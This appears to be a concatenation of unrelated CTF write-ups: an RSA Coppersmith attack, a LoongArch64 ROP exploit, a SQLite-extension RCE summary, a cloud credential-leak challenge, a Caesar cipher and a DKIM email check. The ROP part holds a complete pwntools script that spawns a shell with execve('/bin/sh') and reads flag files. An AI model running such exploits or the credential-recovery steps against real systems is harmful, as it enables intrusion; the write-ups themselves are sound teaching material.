We supply $a$ and seeds $s_{k}$ to fix $e_{k}$ as $e = 11$, each with probability as 20%. We have five public keys, so in order to fix every key, the expected trials to set all public exponents as $e = 11$ will be $5 ^ 5 = 3125$. This is too much.
We need to calculate the minimum number $T$ of $(n_{k}, e_{k}, r_{k}, c_{k})$ pairs. Each pair gives at most $2048 ( 1 / e - \epsilon)$ information to find hidden bits, by applying [Coppersmith attack](https://en.wikipedia.org/wiki/Coppersmith%27s_attack#Coppersmith_method). $e$ will be the degree of monic polynomial: $x ^ e - c = 0 \mod N$.
Lets revisit the final plaintext form: $m_k$ = `FLAG + PAD + r_k`, which having max length as $49 + 4 + 16 = 69$. We know the value of $r_k$, and also know the prefix of `FLAG` is `dice{`. By using prefix info, the hidden bytes $x$ to recover is at most $69 - \texttt{len("dice\\{")} - \texttt{len(r)} = 69 - 5 - 16 = 48$, or $384$ bits. We get the following inequality:
$$ \texttt{Hidden information max length} = 384 < T \times \frac{2048}{e} = \texttt{\\# of pt-ct pairs} \times \texttt{information recovered per pair}$$
$T > 384 e / 2048 \simeq 2.0625$. We can feasibly recover `FLAG` by using the Coppersmith attack using $T = 3$. The expected trials to set only three public exponent as $e = 11$ will be $5 ^ 3 = 125$, which is much more feasible then setting every $e = 11$.
We now apply the Coppersmith attack. We do not know the exact length of the flag, so bruteforcing the `FLAG` length $L$ is required. Combine all information using [Chinese remainder theorem](https://en.wikipedia.org/wiki/Chinese_remainder_theorem). Combination process is somewhat related with [generalization of Hastad's broadcast attack](https://en.wikipedia.org/wiki/Coppersmith%27s_attack#Generalizations). Each pre-combined monic polynomial will be the following form.
$$(2 ^ {8 \times \texttt{len(r)} } x + r + C) ^ e - c = 0 \mod N$$
where $C$ is the constant for taking care of the prefix `dice{`.
Below is the relevant logic implemented to bruteforce over $L$ and applying Coppersmith attack to recover flag:
```pythondef hastad(ns, rs, cs): e = 11 # do not know the exact length of flag for L in reversed(range(30, 44)): pwn.log.info(f"{L = }")
X_len = 8 * (L + 4) NUM = len(ns) assert NUM == 3 C = bytes_to_long(b"dice{") << ((L + 4 + 16) * 8) P.<x> = PolynomialRing(Zmod(prod(ns))) ts = [crt([int(i == j) for j in range(NUM)], ns) for i in range(NUM)] gs = [ (ts[i] * ((x * (1 << (16 * 8)) + rs[i] + C) ** e - cs[i])) for i in range(NUM) ] g = sum(gs) g = g.monic() beta = e * 8 * (L + 4) / (2048 * NUM) epsilon = 1 / 32 pwn.log.info(f"beta = {float(beta)}") pwn.log.info(f"epsilon = {float(epsilon)}")
set_verbose(2) roots = g.small_roots(X=2**X_len, beta=beta, epsilon=epsilon) set_verbose(0) for root in roots: flag_cand = Integer(root) FLAG_cand = long_to_bytes(flag_cand)[:-4] return FLAG_cand```
We get flag when $L = 42$.
```dice{r3s0rt_t0_LCG_4ft3r_f41l1ng_t0_m4k3_ch4ll}```
Problem src: [bbbb.py](bbbb.py)
exploit driver code: [solve.sage](solve.sage) |
## Bing Chilling
was a pwn challenge from UTCTF 2023
it's a LoongArch 64bit binary to exploit, a simple `gets()` overflow, it could be seen as an easy introduction to LoongArch64 architecture.
I could have almost copy/paste my write-up for Riscv64 exploitation from HackIM.2022 as the two challenges are similar
[https://github.com/nobodyisnobody/write-ups/tree/main/nullcon.HackIM.2022/pwn/typical.ROP](https://github.com/nobodyisnobody/write-ups/tree/main/nullcon.HackIM.2022/pwn/typical.ROP)
The challenge had only 1 solve (me actually), just because the people are not used to this architecture.
------
#### 1 . *A beginning is a very delicate time.*
so first we need tools:
+ If you don't own a LoongArch computer, you will need an emulator to run the binary. LoongArch64 support has been introduced in qemu version 7.1.0, so if your system does not have a version enough new, you will have to compile qemu yourself with the loongarch support..
you can do something like this:
```bashwget https://download.qemu.org/qemu-7.2.0.tar.xztar xf qemu-7.2.0.tar.xzcd qemu-7.2.0./configure --target-list=loongarch64-linux-usermake```
you will get in `build/` subdirectory a `qemu-loongarch64` binary that you can use to run the challenge binary
+ next, you will need a toolchain to be able to disassemble, compile your program..
you can find a toolchain on on this page --> [https://github.com/loongson/build-tools](https://github.com/loongson/build-tools)
the file is:
[https://github.com/loongson/build-tools/releases/download/2022.09.06/loongarch64-clfs-6.3-cross-tools-gcc-glibc.tar.xz](https://github.com/loongson/build-tools/releases/download/2022.09.06/loongarch64-clfs-6.3-cross-tools-gcc-glibc.tar.xz)
extract it, you will have all the tools you need in subdirectory `cross-tools/bin/`
+ last but not least we will need a `gdb` version that support loongarch, it has been introduced in version 13.1
so let's download it. we will install it in `/opt/gdb` (you can delete it after challenge if not used anymore)
```bashwget https://ftp.gnu.org/gnu/gdb/gdb-13.1.tar.xztar xf gdb-13.1.tar.xzcd gdb-13.1mkdir buildcd build../configure --target=loongarch64-unknown-linux-gnu --prefix=/opt/gdbmakesudo make install```
the resulting gdb binary, will be at `/opt/gdb/bin/loongarch64-unknown-linux-gnu-gdb`
+ we could need a bit of docs too:
[https://blog.xen0n.name/en/posts/tinkering/loongarch-faq/](https://blog.xen0n.name/en/posts/tinkering/loongarch-faq/) [https://loongson.github.io/LoongArch-Documentation/LoongArch-Vol1-EN.html](https://loongson.github.io/LoongArch-Documentation/LoongArch-Vol1-EN.html)
you can find other docs around.
------
2. #### First examination.
**To resume quickly loongarch64 architecture from a pwn point of view:**
- well... that's a risc processor not much different from mips (without delayed slot) , riscv, etc...
- for syscalls, arguments are in registers (in order): **a0**, **a1**, **a2**, **a3**, **a4**, etc...
- syscall number is in register: **a7**
- no return instruction, returns to address stored in **ra** register
often return with `jirl $zero, $ra, 0` instruction, that jump to $ra
- `bl` (equivalent to call) , store return address in **ra**, and jump to our function
- syscall instruction is named **syscall**
now that we have `loongarch64-unknown-linux-gnu-objdump` let's have a look to challenge `main()` function:
```bash./cross-tools/bin/loongarch64-unknown-linux-gnu-objdump -axd --disassembler-color=extended-color ./hello | less -r +2120```

without a big knownledge of loongarch64 we can understand immediatly what the challenge does..
substract 80 to `$sp` stack pointer, store `$ra` and `$fp` registers on stack, `$ra` is the return address passed by the caller.
then it print a message with `puts()`, after this, it read user input with `gets()` (this is the vuln as gets only stop to take input when it receive a carriage return), then it `printf()` a message with our buffer.
then the return address in read back from stack in `$ra` , the `$fp` register too .. the $`sp` register is added with 80, and we return to caller with the `jirl $zero,$ra,0` that jump to address in `$ra`
The `gets()` function read its input at address pointed by `$sp` and we can see at the beginning of function that `$ra` is stored at `$sp`+72
so an educated guess will tell us that if we send 80 chars as input, we will overwrite return address, let's try:
```bashpython -c "print('A'*80)" | qemu-loongarch64 -strace hello```

ok we just add `-strace` option to qemu, to trace syscalls , you can see that `si_addr` that makes the program crash is overwritten by our string.. so we have reach the return address..
------
3. #### A man with a plan...
so now it would be nice to be able to debug this program, to see what's in registers, in stack, etc...
so in a terminal you can launch for example
```bashpython -c "print('A'*80+'BBBBBBBB'+'CCCCCCCC')" | ~/work/qemu/qemu-7.2.0/build/qemu-loongarch64 -g 1235 hello```
it will block waiting for gdb connection:
and in another terminal you launch:
```bash/opt/gdb/bin/loongarch64-unknown-linux-gnu-gdb -ex 'target remote:1235' -ex 'b *0x120000570' -ex 'c'```
we have setup a breakpoint at address 0x120000570 it is the end of the main function, the return instruction as you can see in the picture above.

ok, after this is standard gdb debugging, I will not make a tutorial on gdb debugging, you can find a lot on internet..
but you can step instruction, examine registers.. etc.. enough for debugging
------
4. #### Ropping the hard way
So now you have to find ROP gadgets.. you also have the options to write a shellcode on stack, as stack is RWX in qemu-user.
but it would need to guess the stack address remotely, which was different from the local one.. so we will do a ROP.
The binary is compiled statically, so there are a lot of gadgets, but (as the time of writing) no tools exist to automatize the search of gadget for loongarch.
So you will have to use the old way.. use `objdump` to disassemble the binary like above, search visually for gadgets..
you can grep registers , instructions, take notes of usefull gadgets..
this is the manual way..but with an educated eye, it's not difficult..just a bit more slow..
so here is the gadgets I have used:
```assembly 12000c034: 28c0a061 ld.d $ra, $sp, 40(0x28) 12000c038: 28c08077 ld.d $s0, $sp, 32(0x20) 12000c03c: 28c06078 ld.d $s1, $sp, 24(0x18) 12000c040: 28c04079 ld.d $s2, $sp, 16(0x10) 12000c044: 28c0207a ld.d $s3, $sp, 8(0x8) 12000c048: 02c0c063 addi.d $sp, $sp, 48(0x30)```
gadget0 = 0x12000c034
``` assembly 12000b090: 28c1a061 ld.d $ra, $sp, 104(0x68) 12000b094: 001502e4 move $a0, $s0 12000b098: 28c18076 ld.d $fp, $sp, 96(0x60) 12000b09c: 28c16077 ld.d $s0, $sp, 88(0x58) 12000b0a0: 28c14078 ld.d $s1, $sp, 80(0x50) 12000b0a4: 28c12079 ld.d $s2, $sp, 72(0x48) 12000b0a8: 28c1007a ld.d $s3, $sp, 64(0x40) 12000b0ac: 28c0e07b ld.d $s4, $sp, 56(0x38) 12000b0b0: 28c0c07c ld.d $s5, $sp, 48(0x30) 12000b0b4: 28c0a07d ld.d $s6, $sp, 40(0x28) 12000b0b8: 02c1c063 addi.d $sp, $sp, 112(0x70) 12000b0bc: 4c000020 jirl $zero, $ra, 0```
gadget1 = 0x12000b090
``` assembly 120048098: 0015008d move $t1, $a0 12004809c: 28c12061 ld.d $ra, $sp, 72(0x48) 1200480a0: 28c02064 ld.d $a0, $sp, 8(0x8) 1200480a4: 28c04065 ld.d $a1, $sp, 16(0x10) 1200480a8: 28c06066 ld.d $a2, $sp, 24(0x18) 1200480ac: 28c08067 ld.d $a3, $sp, 32(0x20) 1200480b0: 28c0a068 ld.d $a4, $sp, 40(0x28) 1200480b4: 28c0c069 ld.d $a5, $sp, 48(0x30) 1200480b8: 28c0e06a ld.d $a6, $sp, 56(0x38) 1200480bc: 28c1006b ld.d $a7, $sp, 64(0x40) 1200480c0: 2b814060 fld.d $fa0, $sp, 80(0x50) 1200480c4: 2b816061 fld.d $fa1, $sp, 88(0x58) 1200480c8: 2b818062 fld.d $fa2, $sp, 96(0x60) 1200480cc: 2b81a063 fld.d $fa3, $sp, 104(0x68) 1200480d0: 2b81c064 fld.d $fa4, $sp, 112(0x70) 1200480d4: 2b81e065 fld.d $fa5, $sp, 120(0x78) 1200480d8: 2b820066 fld.d $fa6, $sp, 128(0x80) 1200480dc: 2b822067 fld.d $fa7, $sp, 136(0x88) 1200480e0: 02c24063 addi.d $sp, $sp, 144(0x90) 1200480e4: 4c0001a0 jirl $zero, $t1, 0```
gadget2 = 0x120048098
```assembly22555: 120013e30: 002b0000 syscall 0x022556- 120013e34: 4c000020 jirl $zero, $ra, 0```
syscall = 0x120013e30
with `gadget0` I can set `$s0` register
with `gadget1` I can set `$a0` = `$s0`
with `gadget2` I can call function in `$a0` (that is copied to `$t1`), and set all the registers we need, this is like `setcontext()` gadget
and guess what ? with `syscall` gadget we can do a syscall.
so with these 4 gadgets we have all we need..
------
5. #### Let me see the exploit (I'm bored of your endless explanations)
so I first reuse program `gets()` function to write "/bin/sh" string in .bss
then set the registers to call `execve` syscall
and that's all

code speaks by itself.
```python3from pwn import *context.log_level = 'info'
if args.REMOTE: p = remote('guppy.utctf.live', 7133)else: if args.GDB: p = process('~/work/qemu/last/build/qemu-loongarch64 -strace -D log3 -g 1235 hello', shell=True) else: p = process('~/work/qemu/last/build/qemu-loongarch64 -strace -D log3 hello', shell=True)
puts = 0x00000012000c438gets = 0x00000012000c098read = 0x00000012001df80exit = 0x0000001200057e0write = 0x00000012001e054__NR_execve = 221__NR_read = 63__NR_write = 64
''' 12000c034: 28c0a061 ld.d $ra, $sp, 40(0x28) 12000c038: 28c08077 ld.d $s0, $sp, 32(0x20) 12000c03c: 28c06078 ld.d $s1, $sp, 24(0x18) 12000c040: 28c04079 ld.d $s2, $sp, 16(0x10) 12000c044: 28c0207a ld.d $s3, $sp, 8(0x8) 12000c048: 02c0c063 addi.d $sp, $sp, 48(0x30)'''gadget0 = 0x12000c034
'''12000b090: 28c1a061 ld.d $ra, $sp, 104(0x68) 12000b094: 001502e4 move $a0, $s0 12000b098: 28c18076 ld.d $fp, $sp, 96(0x60) 12000b09c: 28c16077 ld.d $s0, $sp, 88(0x58) 12000b0a0: 28c14078 ld.d $s1, $sp, 80(0x50) 12000b0a4: 28c12079 ld.d $s2, $sp, 72(0x48) 12000b0a8: 28c1007a ld.d $s3, $sp, 64(0x40) 12000b0ac: 28c0e07b ld.d $s4, $sp, 56(0x38) 12000b0b0: 28c0c07c ld.d $s5, $sp, 48(0x30) 12000b0b4: 28c0a07d ld.d $s6, $sp, 40(0x28) 12000b0b8: 02c1c063 addi.d $sp, $sp, 112(0x70) 12000b0bc: 4c000020 jirl $zero, $ra, 0'''gadget1 = 0x12000b090
''' 120048098: 0015008d move $t1, $a0 12004809c: 28c12061 ld.d $ra, $sp, 72(0x48) 1200480a0: 28c02064 ld.d $a0, $sp, 8(0x8) 1200480a4: 28c04065 ld.d $a1, $sp, 16(0x10) 1200480a8: 28c06066 ld.d $a2, $sp, 24(0x18) 1200480ac: 28c08067 ld.d $a3, $sp, 32(0x20) 1200480b0: 28c0a068 ld.d $a4, $sp, 40(0x28) 1200480b4: 28c0c069 ld.d $a5, $sp, 48(0x30) 1200480b8: 28c0e06a ld.d $a6, $sp, 56(0x38) 1200480bc: 28c1006b ld.d $a7, $sp, 64(0x40) 1200480c0: 2b814060 fld.d $fa0, $sp, 80(0x50) 1200480c4: 2b816061 fld.d $fa1, $sp, 88(0x58) 1200480c8: 2b818062 fld.d $fa2, $sp, 96(0x60) 1200480cc: 2b81a063 fld.d $fa3, $sp, 104(0x68) 1200480d0: 2b81c064 fld.d $fa4, $sp, 112(0x70) 1200480d4: 2b81e065 fld.d $fa5, $sp, 120(0x78) 1200480d8: 2b820066 fld.d $fa6, $sp, 128(0x80) 1200480dc: 2b822067 fld.d $fa7, $sp, 136(0x88) 1200480e0: 02c24063 addi.d $sp, $sp, 144(0x90) 1200480e4: 4c0001a0 jirl $zero, $t1, 0'''gadget2 = 0x120048098
'''22555: 120013e30: 002b0000 syscall 0x022556- 120013e34: 4c000020 jirl $zero, $ra, 0'''syscall = 0x120013e30
stack = 0x40008029a0payload = 'A'*72payload += p64(gadget0)# put syscall address in $s0payload += flat({ 32: p64(syscall), 40: p64(gadget1),})# put $s0 in $a0payload += flat({ 104: p64(gadget2),})# call syscall read with correct registers, we will store '/bin/sh' in .bsspayload += flat({ 8: p64(0), 16: p64(0x00000012008d2d0), 24: p64(8), 64: p64(63), 72: p64(gadget0), 136: p64(0),})# put syscall address in $s0 againpayload += flat({ 32: p64(syscall), 40: p64(gadget1),})# humm, put $s0 in $a0payload += flat({ 104: p64(gadget2),})# we call syscall execve('/bin/sh', 0, 0) payload += flat({ 8: p64(0x00000012008d2d0), 16: p64(0), 24: p64(0), 64: p64(__NR_execve), 72: p64(gadget0), 136: p64(0),})
p.sendlineafter('\n', payload)# command to execute sop.sendline('/bin/sh\x00')# enjoy shellp.sendline('id;cat flag*')
p.interactive()```
*nobodyisnobody still pwning things* |
tl;dr
* Create a sqlite3 extension with rce payload.* Abuse werkzeug tempfile to upload the extension to server.* load that extension using load_extension(‘/proc/self/fd/fd_no’); |
# Listy### 150 points
> I made a little leaderboard listy app, it's a bit rough so please don't judge me too harshly.> > https://listy-web-u7jl3ge7qa-uc.a.run.app/
By visiting the homepage, we can see a simple list with user and score.

Trying to look deeper in the page won't reveal anything more than the use of some sort of js framework
By trying to open `robots.txt`, we're greeted with this:```Disallow: *Disallow: /dev #TODO: Separate off dev branch (https://todo.sr.ht/~listydev/Listy/5)```
Now, opening /dev will get us to a 404 page:

We can try to open the link in the #TODO comment

Here is the issues of this project. Inside the issue #5 (the one linked above) we can also go to the source of the project.

From there it's clear that is a cloud project created with terraform: a front-end made with next.js and the api served by a lambda function on gcp.And that is using ansible-vault to store the secrets in the file `vault.txt`.
Here are the points that cought the attention```sh# invoke.sh
#!/bin/bash# Ansible-Vault unlock the gcloud credentialCRED=$(ansible-vault decrypt vault.txt --output /tmp/key.json) gcloud auth activate-service-account [email protected]#...curl -H "Authorization: bearer $(gcloud auth print-identity-token)" https://us-central1-sunshine-2022-challenges.cloudfunctions.net/listy\?bucket\=ssctf22-listy-leaderboard-prod``````js//list.js:19//...const response = await fetch(`https://us-central1-${LEADERBOARD_PROJECT}.cloudfunctions.net/${LEADERBOARD_FUNCTION}?bucket=${BUCKET_NAME}`, { headers: { Authorization: `bearer ${process.env.GCLOUD_TOKEN}`, }})//...``````json//main.tf################################################################## Listy Leaderboard Buckets################################################################
resource "google_storage_bucket" "listy-leaderboard-prod" { name = "ssctf22-listy-leaderboard-prod" location = "US" force_destroy = true}
resource "google_storage_bucket_object" "listy-leaderboard-prod" { name = "leaderboard.csv" bucket = google_storage_bucket.listy-leaderboard-prod.name source = "./leaderboards/leaderboard-prod.csv"}
resource "google_storage_bucket" "listy-leaderboard-dev" { name = "ssctf22-listy-leaderboard-dev" location = "US" force_destroy = true}
resource "google_storage_bucket_object" "listy-leaderboard-dev" { name = "leaderboard.csv" bucket = google_storage_bucket.listy-leaderboard-dev.name source = "./leaderboards/leaderboard-dev.csv"}```
Now, it seems that all we have to do is to read the secret and request the content of the leaderboard-dev, right? We can do this without having to install ansible with `virtualhold/ansible-vault` image:```$ docker run --rm -it --entrypoint=/bin/bash virtualhold/ansible-vault---$ docker cp vault.txt awesome_wu:/playbook/vault.txt---root@0cff51ee3821:/playbook# ansible-vault decrypt vault.txt --output /tmp/key.jsonVault password:```
But what is the password?
After more time that I'm willing to admit, I've gone back to the issues, hoping to find a hint on how to solve this.And there it was: _Issue #4_> ~listydev> > Currently, I'm just using a local script w/ a vaulted file for storing a service account. Maybe pull from the gcloud command natively? For now I'm just vaulting with my email to keep secrets scanners from bugging me.
Having access to the repo, we can easily get the user email from the commit history. A `git clone` later and here we are:```~/sunshine22/listy/Listy$ git logcommit 3f9c3f2c557aa81f7423d70f0a3252536e4a1f85 (HEAD -> master, origin/master, origin/HEAD)Author: Listy Dev <[email protected]>Date: Wed Nov 2 22:23:05 2022 -0600
static stuff```
From now on, it's all downhill. We just have to install the google-cloud-cli (or use another container) to obtain a valid token and we can get the flag!
```root@0cff51ee3821:/playbook# ansible-vault decrypt vault.txt --output /tmp/key.jsonVault password: [email protected]Decryption successful
root@0cff51ee3821:/playbook# cat /tmp/key.json { "type": "service_account", "project_id": "sunshine-2022-challenges", "private_key_id": ...}
root@0cff51ee3821:/playbook# gcloud auth activate-service-account [email protected] '--key-file=/tmp/key.json'Activated service account credentials for: [[email protected]]
root@0cff51ee3821:/playbook# curl -H "Authorization: bearer $(gcloud auth print-identity-token)" https://us-central1-sunshine-2022-challenges.cloudfunctions.net/listy\?bucket\=ssctf22-listy-leaderboard-dev
[{"rank":1,"username":"Bill","points":100},{"rank":2,"username":"SpongeBob","points":50},{"rank":3,"username":"sun{5erver1e55-9cp-i5-9re@+}","points":50}]
``` |
Simple monoalphabetic cipher [source](https://github.com/mar232320/ctf-writeups/blob/main/wreck2022/spin/encrypt.py)
[solve script](https://github.com/mar232320/ctf-writeups/blob/main/wreck2022/spin/solve.py)
> flag{obligatory_caesar_cipher} |
## Problem DescriptionThe `ein-pfund-mails` challenge is a _baby_ rated challenge in the Misc category for KitCTFCTF 2022. The title _ein pfund mails_ is actually German for _"A pound of mail"_. Which makes sense since we are given an archive (`mails.tar.gz`) containing 3993 `.eml` files. We're told one of these leaked email files contains our flag, but we're unable to determine which file contains the correct flag.
## AnalysisFirst off, let's take a look at one of the email files.```Return-Path: <[email protected]>Delivered-To: [email protected]Received: from mail.mawalabs.de ([fd4d:6169:6c63:6f77::e]) by a0818493a1af with LMTP id Oa/3IrxGq2JiaTIAoqc0QA (envelope-from <[email protected]>) for <[email protected]>; Thu, 16 Jun 2022 17:05:32 +0200Received: from mail-pj1-f42.google.com (mail-pj1-f42.google.com [209.85.216.42]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits) key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256) (No client certificate requested) by mail.mawalabs.de (Postcow) with ESMTPS id 5BA84A2171 for <[email protected]>; Thu, 16 Jun 2022 17:05:27 +0200 (CEST)Received: by mail-pj1-f42.google.com with SMTP id k12-20020a17090a404c00b001eaabc1fe5dso2079659pjg.1 for <[email protected]>; Thu, 16 Jun 2022 08:05:27 -0700 (PDT)DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20210112; h=mime-version:from:date:message-id:subject:to; bh=Hc1fzmKy9aocJCtYl88l4HEWgiYgp/nBHaexg4xOWtk=; b=R1TrM58fPxWGqqUpauME4wQbljhoUlMEpPpf2NWBP1Hy8WrZH0MMkrqurXHAMNNx/H I3QHbOEeHm8GjQ9GbUWHWTYt8oFutzcBiCN8+5xFbuuDoYgxyAQWpbuKcWM3h3LpkFbC IN4ps9rF3ANb/DOTxYFf0TUGvTOSqXuwe1UBFnOwckfUFVwvh/FYPDzOvGiXE683jxXq 4GrAKzDDdbyyeKzUSyeV4ndqkTGGODLWULrUbBT/ihyNq5Nomc5QCiw61UIflwVndFdE h1ufkxX2FEUJ2fpS9KbV8mfEqN+roncsHzXvVdo+ersxg4jQXA/aYOf9XoaPz48Sb9qf MsMg==X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:mime-version:from:date:message-id:subject:to; bh=Hc1fzmKy9aocJCtYl88l4HEWgiYgp/nBHaexg4xOWtk=; b=AwM4jiAdlpSKBy7IZ3nfQsHnYeQp1gvVpI/Bpnoer/mkdv75drjydquL+ZXUmOaySW k9jKtb/haWXRx6TCvoAFrO/ZN2tmDknI7r9yoKWdLP37Er4thOhniv0mKAPBeL47i/95 GG3Kfu4eMuNx/NzhqxKPIPb6Mc+tGAfe2VisvxOk/l5vbR8U4bWNiBwmF9Q4kLyFYMnb gPx1ZhsxQWqFIn+hr6D9vUFxiz5cAe0m2Bq6V4e24akQrLjMrBjwY94vXzZJlb4VW6cG 2pffywU5CDks4qLPYnI1bkImrQJrOR3KEZSYppSm3vkBSvgJ06aTzvGRrLE18Hwmtxmv 5Vnw==X-Gm-Message-State: AJIora9DCvU5UatGInjShXcoDXp0abItZgRUoXxhwA+0+fDgg4Jv+3l8 jr6KvtgQZpxKkN+zFS/vejX8L1MA57H5+1ZjOis2QxR6//w=X-Google-Smtp-Source: AGRyM1tXZeDE5/ppkeaIx2YE297NIvPpikDXV+2nwHlgPl646MSCkIdSwtEBFkznNZNqV1uMfJsEq98wjv3m/KYd3Vc=X-Received: by 2002:a17:903:244a:b0:164:2880:4df1 with SMTP id l10-20020a170903244a00b0016428804df1mr5108675pls.120.1655391924792; Thu, 16 Jun 2022 08:05:24 -0700 (PDT)MIME-Version: 1.0From: Martin Wagner <[email protected]>Date: Thu, 16 Jun 2022 17:05:13 +0200Message-ID: <CAA2ev=GHMZn2+6vgHv9kEQV5h4ZWcOapubMOJtg2BTM7VsgOAw@mail.gmail.com>Subject: FlagTo: [email protected]Content-Type: multipart/alternative; boundary="000000000000a433c905e191f775"ARC-Seal: i=1; s=dkim; d=mawalabs.de; t=1655391927; a=rsa-sha256; cv=none; b=qiV2rtXrZGucJcxohmzBoIzrGijMaDnXMKViSQCoub6PgUBRu9dXIo2JbqjIvVG3RiAsB5 x2y79l2rnSzipM62UfVfdnv7/bHXC0oxlHtIqYVDK/NqOBasDYzkgkmkAmUFIeyh7qcJ8A i50585Fm1I58zMYi88Nnlq4Ou+whuc8=ARC-Authentication-Results: i=1; mail.mawalabs.de; dkim=pass header.d=gmail.com header.s=20210112 header.b=R1TrM58f; spf=pass (mail.mawalabs.de: domain of [email protected] designates 209.85.216.42 as permitted sender) [email protected]; dmarc=pass (policy=none) header.from=gmail.comARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=mawalabs.de; s=dkim; t=1655391927; h=from:from:reply-to:subject:subject:date:date:message-id:message-id: to:to:cc:mime-version:mime-version:content-type:content-type: dkim-signature; bh=Hc1fzmKy9aocJCtYl88l4HEWgiYgp/nBHaexg4xOWtk=; b=oiuiewyUJBkwDRfqclseGFj1hYEfF0kN+UD7pdWf/wun/Sccb1T9bP6a9DGS/liipuXPhS DayxqKgsuRqvB5c1WSxQXIc2iXdKkTttQt1LgaXE1d+wSo6Hap502RMji4aZVcMM6owh/T 1fhY0QCzzNrw2JCYoeMCtcZ0LNWvtTY=X-Last-TLS-Session-Version: TLSv1.3Authentication-Results: mail.mawalabs.de; dkim=pass header.d=gmail.com header.s=20210112 header.b=R1TrM58f; spf=pass (mail.mawalabs.de: domain of [email protected] designates 209.85.216.42 as permitted sender) [email protected]; dmarc=pass (policy=none) header.from=gmail.comX-Spamd-Result: default: False [1.79 / 15.00]; RBL_SORBS_RECENT(2.00)[209.85.216.42:from]; BAD_REP_POLICIES(2.00)[]; NEURAL_HAM_SHORT(-2.00)[-1.000]; MIME_GOOD(-0.10)[multipart/alternative,text/plain]; RWL_MAILSPIKE_GOOD(-0.10)[209.85.216.42:from]; MX_GOOD(-0.01)[]; IP_REPUTATION_HAM(-0.00)[asn: 15169(0.00), country: US(-0.00), ip: 209.85.216.42(0.00)]; FROM_HAS_DN(0.00)[]; R_DKIM_ALLOW(0.00)[gmail.com:s=20210112]; BCC(0.00)[]; DWL_DNSWL_NONE(0.00)[gmail.com:dkim]; TO_MATCH_ENVRCPT_ALL(0.00)[]; RCPT_COUNT_ONE(0.00)[1]; ARC_NA(0.00)[]; CLAM_VIRUS_FAIL(0.00)[failed to scan and retransmits exceed]; PREVIOUSLY_DELIVERED(0.00)[[email protected]]; RCPT_MAILCOW_DOMAIN(0.00)[mawalabs.de]; FREEMAIL_ENVFROM(0.00)[gmail.com]; RCVD_IN_DNSWL_NONE(0.00)[209.85.216.42:from]; ARC_SIGNED(0.00)[mawalabs.de:s=dkim:i=1]; R_SPF_ALLOW(0.00)[+ip4:209.85.128.0/17]; TO_DN_NONE(0.00)[]; FREEMAIL_FROM(0.00)[gmail.com]; ASN(0.00)[asn:15169, ipnet:209.85.128.0/17, country:US]; MID_RHS_MATCH_FROMTLD(0.00)[]; DMARC_POLICY_ALLOW(0.00)[gmail.com,none]; MIME_TRACE(0.00)[0:+,1:+,2:~]; DKIM_TRACE(0.00)[gmail.com:+]; RCVD_TLS_LAST(0.00)[]; FROM_EQ_ENVFROM(0.00)[]; RCVD_COUNT_TWO(0.00)[2]X-Rspamd-Queue-Id: 5BA84A2171
--000000000000a433c905e191f775Content-Type: text/plain; charset="UTF-8"
Hi,
die Flag ist KCTF{1d2fa1ed91a0310dad83242abc3f8a92}
LGMartin
--000000000000a433c905e191f775Content-Type: text/html; charset="UTF-8"
<div dir="ltr">Hi,<div></div><div>die Flag ist KCTF{1d2fa1ed91a0310dad83242abc3f8a92}</div><div></div><div>LG</div><div>Martin</div></div>
--000000000000a433c905e191f775--```
Of note, are several _signatures_ and a possible flag (`KCTF{1d2fa1ed91a0310dad83242abc3f8a92}`).
If we take a `diff` of the two different emails (e.g. `diff fffc5.eml ffdef.eml`), only the flag is changed.```diff110c110< die Flag ist KCTF{1d2fa1ed91a0310dad83242abc3f8a92}---> die Flag ist KCTF{a3afe0043bf7736216bc7ace6efac886}118c118< <div dir="ltr">Hi,<div></div><div>die Flag ist KCTF{1d2fa1ed91a0310dad83242abc3f8a92}</div><div></div><div>LG</div><div>Martin</div></div>---> <div dir="ltr">Hi,<div></div><div>die Flag ist KCTF{a3afe0043bf7736216bc7ace6efac886}</div><div></div><div>LG</div><div>Martin</div></div>```
This confirms what the prompt told us, so we can't identify the correct flag by any differences between the files. Instead we'll have to utilize the signatures provided in the emails to verify a valid `.eml`.
## SolutionThe first signature we see in the file is a `DKIM-Signature`. There is a useful [explainer](https://mailtrap.io/blog/dkim/) over on mailtrap[.]com, if you want to get into the nitty gritty, but the short of it is that DKIM is a common signature type that's used to verify the sender and __content__ of an email have not been altered. That should be perfect to find the original, unaltered email in our _ein pfund mails_.
Luckily, there are several DKIM verification libraries available on [PyPI](https://pypi.org/search/?q=dkim). I chose [check-dkim](https://pypi.org/project/check-dkim/) since it was at the top of the list for my search. In the case of `check-dkim`, it's actually a CLI script. So, after installing (`pip install check-dkim`), we can verify that it works for one of our `.eml` files.```console$ check-dkim mail/fffc5.eml Error verifying DKIMbody hash mismatch (got b'SHy1AAdR/+J5fTOT5HqeEr23p+JmXnlXWdr1QxcFqcU=', expected b'Hc1fzmKy9aocJCtYl88l4HEWgiYgp/nBHaexg4xOWtk=')```
Now let's write a simple bash script to verify every email file.```bash#!/bin/bash# dkim_verify.shfind "$1" -iname *.eml -type f -exec echo -ne "FILE: {} --- " \; -exec check-dkim {} \;```
Execute the script to start checking.```bash./dkim_verify.sh ./mail/```
